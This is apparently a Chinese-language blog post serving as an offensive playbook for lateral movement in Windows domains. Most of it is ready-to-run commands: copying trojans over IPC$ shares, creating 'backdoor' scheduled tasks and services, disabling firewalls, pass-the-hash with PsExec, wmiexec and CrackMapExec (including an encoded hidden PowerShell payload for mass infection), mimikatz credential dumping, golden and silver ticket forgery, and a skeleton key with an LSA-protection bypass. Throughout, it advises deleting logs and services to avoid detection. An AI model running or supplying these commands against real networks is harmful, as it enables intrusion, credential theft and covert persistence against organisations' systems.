内网横向移动方法

IPC连接

条件:

1、目标机开启了139和445端口;

2、目标主机管理员开启了ipc$默认共享;

3、知道目标机的(权限足够的)账户密码。

4、NT或以上操作系统

IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

利用IPC$,连接者甚至可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。

命令:

net use \\192.168.10.2\ipc$ /user:"username" "password"
//建立ipc连接
net use \\192.168.10.2 /u:domainname\username "password"
// 域中建立ipc连接
net use \\192.168.10.2 /de /y 
// 删除ipc连接(使用完之后记得删除)

用IPC进行文件目录操作

net view \\192.168.10.2 
//查看共享目录
net view \\192.168.10.2\c$\users 
//列出指定目录文件
copy shell.exe \\192.168.10.2\C$\windows\temp\ 
//复制文件到目标目录
copy \\192.168.10.2\C$\windows\temp\hash.txt 
//下载文件到当前目录
net use z: \\192.168.10.2\c$ "密码" /user:"用户名"  
//将对方的c盘映射为自己的z盘

IPC常见错误号

1.错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限;
2.错误号51,Windows 无法找到网络路径:网络有问题;
3.错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
4.错误号67,找不到网络名:你的lanmanworkstation服务未启动;目标删除了ipc$;
5.错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连。
6.错误号1326,未知的用户名或错误密码:原因很明显了;
7.错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动。(连接域控会出现此情况)
8.错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。

Windows计划任务

1.先建立IPC连接

2.确定目标主机DC的当前时间

net time \\192.168.10.2

3.拷贝木马到目标机器

copy shell.exe \\192.168.10.2\C$\windows\temp\

4 .创建计划任务

Vista 和 Server 2008 之后:

在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt(记得删)

schtasks /create /s 192.168.10.2 /tn backdoor /sc minute /mo 1  /tr c:\shell.exe /ru system /f
// 创建一个名称为"backdoor"的计划任务。该计划任务每分钟启动一次,启动程序为c:\shell.exe,启动权限为system
schtasks /run /s 192.168.10.2 /i /tn backdoor
// i:忽略任何限制立即运行任务
schtasks /delete /s 192.168.10.2 /tn "backdoor" /f
// 强制删除名称为"backdoor"计划任务(记得删)

在没有建立ipc连接时,要加上/u和/p参数分别设置用户名(域中为域\域用户)和密码。 如果因为权限或组策略设置等原因报错拒绝访问,要加上/u和/p参数分别设置高权限用户名和密码。

Vista 和 Server 2008 之前:

at \\192.168.10.2 15:47:00 c:\beacon.exe //创建计划任务
at \\192.168.10.2 1 /delete //删除ID为1的计划任务

Windows服务

条件:

1、当前跳板机用户具有管理员权限(因为要创建服务)。

2、与目标机器已经建立ipc连接

1.建立IPC连接

2.拷贝木马到目标机器

copy shell.exe \\192.168.10.2\C$\windows\temp\

3.在目标主机DC上创建一个名称为“backdoor”的服务。命令如下:

sc \\[主机名 or IP] create [servicename] binpath= "[path]"   
//创建计划任务启动程序

注意这里的格式,“=” 后面是必须空一格的,否则会出现错误。

4.立即启动该服务:

sc \\192.168.10.2 start bindshell

5.删除刚才创建的服务

sc \\192.168.10.2 delete bindshell

我们还可以通过设置服务来关闭防火墙:

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

通过smb服务横向移动

利用条件

1、445端口开放

2、知道账号密码明文或hash

利用 SMB 服务可以通过明文或 hash 传递(PTH)来远程执行。

明文传递

PsExec.exe(微软官方工具)

使用条件

1.对方主机开启了 admin$ 共享,如果关闭了admin$共享,会提示:找不到网络名

2.对方未开启防火墙

3.如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。

4.如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。

执行原理(会留下大量日志):

  1. 通过ipc$连接,释放psexecsvc.exe到目标
  2. 通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
  3. 客户端连接执行命令,服务端启动相应的程序并执行回显数据。
  4. 运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug,所以一般不推荐使用psexec,推荐wmiexec

可先建立ipc连接再使用psexec无需输入密码

net use \\IP /u:domainname\username password
//建立IPC通道
psexec.exe \\192.168.10.2 -s cmd.exe -acceptcula
//反弹cmd

或者直接使用:

.\PsExec.exe \\192.168.10.201 -u domainname\username -p password -s cmd.exe -acceptcula

-accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框 -u:用户名 -p:密码 -s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell

PTH-哈希传递

利用条件

1、在工作组环境中:

Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。

Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问

2、在域环境中:

只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器

如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1

psexec.py-PTH

与官方psexec.exe相比会自动删除服务,增加隐蔽性

https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py

这里推荐使用impacket套装,有exe和py版本

psexec.exe domain/username@10.73.147.30 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de

之后会弹回一个system权限的交互shell。

python psexec.py  administrator@10.73.147.29   -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de

这种方式方便我们直接通过代理在自己本机执行(py测试2003,但exe可以成功)

smbexec.py

https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py

python smbexec.py ./:@192.168.52.136

wmiexec.py-PTH

https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py

python wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de administrator@10.73.147.29

MiMiKatz-PTH

这个需要本地管理员权限(由Mimikatz的实现机制决定的)

privilege::debug
sekurlsa::logonpasswords
//抓取本机hash

privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:852a844adfce18f66009b4f14e0a98de
//将获取的Hash添加进lsass中

会弹出一个交互式的终端,这个终端以及伪造为我们指定的hash和用户,访问远程主机或服务,就不用提供明文密码了。 我们可以通过copy文件,然后执行计划任务去拿到shell(这个思路有自动化实现的工具)。

pth批量横向移动

CrackMapExec:https://github.com/byt3bl33d3r/CrackMapExec/

CME集成了wmiexec、atexe、smbexec的方式,集成了smb扫描,口令爆破等功能,非常适合拿来快速移动。

用cme来进行网段的smb扫描确定目标系统和smb服务

cme smb 192.168.0.0/24 -t 255

批量传递hash:

cme smb 10.73.147.90 10.73.147.88 -u administrator -H 852a844adfce18f66009b4f14e0a98de

批量执行命令:

cme smb 10.73.147.90 10.73.147.88 -u administrator -H 852a844adfce18f66009b4f14e0a98de  -x "whoami"

或者执行powershell,我们可以通过CS的powershell command然后粘贴生成的payload.txt中的内容直接-x执行即可批量上马。

cme smb 10.211.55.51  10.211.55.52 -u administrator  -H 852a844adfce18f66009b4f14e0a98de -x "powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0..."

WMI 横向

WMI的全名为“Windows Management Instrumentation”。从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。

“自从PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是攻击者逐渐开始使用WMI进行横向移动。通过渗透测试发现,在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。因为在这个过程中不会产生日志,所以,对网络管理员来说增加了攻击溯源的成本。而对攻击者来说,其恶意行为被发现的可能性有所降低、隐蔽性有所提高。由此,越来越多的APT开始使用WMI进行攻击,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。”

使用条件

1、WMI服务开启,端口135,默认开启。

2、防火墙允许135、445等端口通信。

3、知道目标机的账户密码。

执行命令:

wmic /node:191.168.52.136 /user:xxxx /password:xxxxx  process call create "cmd.exe /c ipconfig>d:\result.txt"
//无需上传第三方软件,利用系统内置程序,单命令执行,执行后无结果回显

WMI常用命令

https://www.freebuf.com/articles/246440.html

文件管理

wmic fsdir where "drive='c:' and filename='whoami'" list

wmic fsdir "c:\\test" call delete
//删除C盘下的test目录,注意“\”要进行一下转义

wmic process where “NOT ExecutablePath LIKE ‘%Windows%’” GET ExecutablePath
//枚举出整个系统中的所有可执行文件

for /f "skip=1 tokens=1*" %i in ('wmic datafile where "FileName='qq' and extension='exe'" get drive^,path') do (set "qPath=%i%j"&@echo %qPath:~0,-3%)
//wmic 全盘搜索某文件并获取该文件所在目录

环境变量

wmic environment get Description, VariableValue

wmic environment where "name='temp'" get UserName,VariableValue
//环境变量,获取temp环境变量

wmic environment where "name='path' and username='<system>'" set VariableValue="%path%;c:\whoami"
//更改PATH环境变量值,新增c:\whoami

进程管理

wmic process list brief
//列出所有进程信息

wmic process get processid,name,executablepath 
//Full显示所有、Brief显示摘要、Instance显示实例、Status显示状态

wmic process where name="vmtoolsd.exe" get executablepath
//获取指定进程可执行文件的路径

wmic process call create "C:\windows\system32\notepad.exe"
//创建进程

wmic process call create "cmd.exe /c 'ipconfig'"
wmic process call create "shutdown.exe -r -f -t 60"
//根据系统命令创建进程

wmic process where name="notepad.exe" delete
wmic process where pid="244" delete 
//删除进程

用户账户管理

wmic useraccount
wmic useraccount list brief

wmic useraccount where "name='%UserName%'" call rename newUserName
// 更改当前用户名
wmic useraccount where "name='Administrator'" call Rename admin
// 更改指定用户名

获取补丁信息

wmic qfe list brief
wmic qfe get Caption,Description,HotFixID,IntsalledOn

查看域控制器

wmic ntdomain list brief

查看安装的软件信息

wmic product get name,version

远程桌面连接 使用WMIC命令开启远程计算机的远程桌面连接:

1
2
wmic /node:192.168.52.138 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
// wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

共享管理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
wmic share list brief
wmic share get name,path,status

wmic share call create "","test","3","TestShareName","","c:\whoami",0
(可使用 WMIC SHARE CALL Create /? 查看create后的参数类型)
// 建立共享

wmic share where "name='C$'" call delete
wmic share where "path='c:\test'" delete
// 删除共享

wmiexec

要执行命令并回显请使用wmiexec.py,⽤445端口传回显:

1
2
python wmiexec.py administrator:Liu78963@192.168.183.130
// python wmiexec.py 用户名:密码@目标IP

指定-hashes选项的话,则可进行哈希传递。

exe版本命令与wmiexec.py一模一样。在跳板机上上传wmiexec.exe并运行如下命令获取目标系统192.168.52.138的shell:

1
wmiexec.exe administrator:Liu78963@192.168.183.130

wmiexec.vbs

https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。

wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。

PTK-密钥传递

即 Pass The Key ,当系统安装了 KB2871997 补丁且禁用了 NTLM 的时候,那我们抓取到的 ntlm hash. 也就失去了作用,但是可以通过 pass the key 的攻击方式获得权限。

利用条件

1、目标主机打过KB2871997

2、所以必须使用SID值为500的用户

1
2
3
4
mimikatz sekurlsa::ekeys
//获取用户的aes key
sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx"
//注入aes key,成功后会返回一个cmd

PTT-票据传递

MS14-068

利用条件

1.域控没有打MS14-068的补丁(KB3011780)

2.拿下一台加入域的计算机,并且能dump出某一域成员的用户名,密码,SID等值

域用户hack在域成员主机A上登录过,域成员主机A的管理员通过mimikatz得到了域用户hack的用户名,密码,SID等值,而且域控存在MS14-068漏洞,现在域成员主机A想通过MS14-068漏洞访问域控。

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

https://www.cnblogs.com/-mo-/p/11890539.html

https://www.cnblogs.com/yuzly/p/10859520.html

黄金票据

利用条件

1.域名称

2.域的SID值

3.域的KRBTGT账户密码HASH(通常需要SYSTEM权限才能dump)

4.伪造用户名,可以是任意的

kerberos协议原理参考

NTML认证与kerberos认证与PAC相关知识

域中每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来计算生成的,因此只要获取到了 krbtgt 用户的密码 Hash ,就可以随意伪造 Ticket ,进而使用 Ticket 登陆域控制器,使用 krbtgt 用户 hash 生成的票据被称为 Golden Ticket,此类攻击方法被称为票据传递攻击。

首先获取krbtgt的用户hash:

1
mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"

利用 mimikatz 生成域管权限的 Golden Ticket,填入对应的域管理员账号、域名称、sid值,如下:

1
2
3
4
5
6
7
kerberos::golden /admin:administrator /domain:ABC.COM /sid:S-1-5-21-3912242732-2617380311-62526969 /krbtgt:c7af5cfc450e645ed4c46daa78fe18da /ticket:test.kiribi


kerberos::ptt test.kiribi #导入刚才生成的票据


dir \\dc.abc.com\c$  #导入成功后可获取域管权限

白银票据

利用条件

1.域名称

2.域的SID值

3.域中的Server服务器账户的NTLM-Hash

4.伪造的用户名,可以是任意用户名.

5.目标服务器上面需要访问的kerberos服务

可以伪造的服务

服务名称 同时需要的服务
WMI HOST RPCSS
PowerShell Remoting HOST HTTP
WinRM HOST HTTP
Scheduled Tasks HOST
Windows File Share (CIFS) CIFS
LDAP operations includingMimikatz DCSync LDAP
Windows Remote Server Administration Tools RPCSS LDAP CIFS

服务说明:

  • Silver Ticket连接到具有管理员权限Windows计算机上的WMI 为“ HOST ”服务和“ rpcss ”服务创建白银票据以使用WMI在目标系统上远程执行命令。

  • Silver Ticket连接到以Windows管理员权限计算机上的PowerShell远程执行

    为“ http ”服务和“ wsman ”服务创建Silver Ticket,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限。

  • 具有管理员权限的Windows计算机(HOST)的Silver Ticket

    创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。

    注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell。首先New-PSSession使用PowerShell创建到远程系统的会话的PowerShell cmdlet,然后Enter-PSSession打开远程shell。

  • Windows共享(CIFS)管理访问的Silver Ticket

    为 “cifs ”服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。

    注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括c$共享,我们能够将文件拷贝到共享文件中。

  • Silver Ticket连接到具有管理员权限Windows计算机上的LDAP 为"ldap"服务创建Silver Ticket 以获得目标系统(包括Active Directory)上LDAP服务的管理权限。

    利用LDAP Silver Ticket,我们可以远程访问LDAP服务来获得krbtgt的信息

步骤(伪造CIFS的白银票据):

1.获取hash sid等信息

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt

2.伪造白银票据

kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:silver /ptt

参数说明:

/domain:当前域名称
/sid:SID值,和金票一样取前面一部分
/target:目标主机,这里是OWA2010SP3.0day.org
/service:服务名称,这里需要访问共享文件,所以是cifs
/rc4:目标主机的HASH值
/user:伪造的用户名
/ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用kerberos::ptt来导入

这时通过klist查看当前会话的kerberos票据可以看到生成的票据。

使用dir \\OWA2010SP3.0day.org\c$访问DC的共享文件夹。

skeleton key

skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户 都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注 入,所以重启后会失效。

#在域控上安装 skeleton key
mimikatz.exe privilege::debug "misc::skeleton"

#在域内其他机器尝试使用 skeleton key 去访问域控,添加的密码是 mimikatz
net use \\WIN-9P499QKTLDO.adtest.com\c$ mimikatz /user:adtest\administrator`

微软在 2014 年 3 月 12 日添加了 LSA 爆护策略,用来防止对进程 lsass.exe 的代码注入。如果直接尝试添加 skelenton key 会失败。

#适用系统
windows 8.1
windows server 2012 及以上` 

当然 mimikatz 依旧可以绕过,该功能需要导入mimidrv.sys文件,导入命令如下:

privilege::debug
!+
!processprotect /process:lsass.exe /remove 
misc::skeleton`

NTLM中继

挖坑,待补

参考

浅探内网横向移动-Pass The Hash

内网横向移动:利用WMI来渗透

内网渗透之IPC$入侵

浅析黄金票据与白银票据

updatedupdated2022-10-302022-10-30
加载评论